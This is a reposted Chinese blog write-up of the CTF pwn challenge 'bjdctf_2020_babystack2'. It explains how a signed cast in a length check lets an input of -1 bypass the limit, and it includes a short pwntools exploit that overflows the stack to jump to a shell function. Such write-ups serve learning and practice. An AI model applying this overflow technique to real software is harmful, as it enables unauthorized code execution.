码迷,mamicode.com
首页 > 其他好文 > 详细

bjdctf_2020_babystack2

时间:2020-02-19 14:55:01      阅读:90      评论:0      收藏:0      [点我收藏+]

标签:col   spl   bug   rac   就是   eve   下载文件   line   shel   

  此题考整型的有符号无符号的东西。。。

  下载文件还是,先检查一下保护。

  技术图片

  64位程序,只开启了堆栈不可执行,看一下ida的伪代码。

技术图片

  大概流程就是先让你输入一个数,这个数就是后面read的可以输入的长度,要想进行溢出,就必须有足够的长度,但是有一个校验,不让这个数大于十,我们得想办法绕过这个校验,让我们可以进行溢出。

  看一眼nbytes的类型是size_t,从百度百科查了一下,大概是这么个意思。

技术图片

  大概就是一个无符号型整数,无符号型。。。but!!!你们仔细看看伪代码的图的if。

if ( (signed int)nbytes > 10 )

  这里强制转换将这个东西转换成有符号的整数,关于整数溢出,大家可以看看这个博客,一看就懂了!

  https://blog.csdn.net/xzli8_geo/article/details/83794268

  这么来说,假如我们输入一个输入进内存里面的是ffff,对于无符号型,那就是一个正数,但是变成有符号型整数,那么这个值就是-1,这样就绕过了这个检验,溢出长度就可以很长了!!!

  贴一下exp:

 1 from pwn import *
 2 
 3 p = process(./bjdctf_2020_babystack2)
 4 #p = remote(‘node3.buuoj.cn‘,27265)
 5 context.log_level = debug
 6 
 7 shell_addr = 0x0400726
 8 p.recv()
 9 p.sendline(-1)
10 p.recv()
11 payload = \x39*0x10 + bbbbbbbb + p64(shell_addr)
12 p.send(payload)
13 p.interactive()

bjdctf_2020_babystack2

标签:col   spl   bug   rac   就是   eve   下载文件   line   shel   

原文地址:https://www.cnblogs.com/bhxdn/p/12331035.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!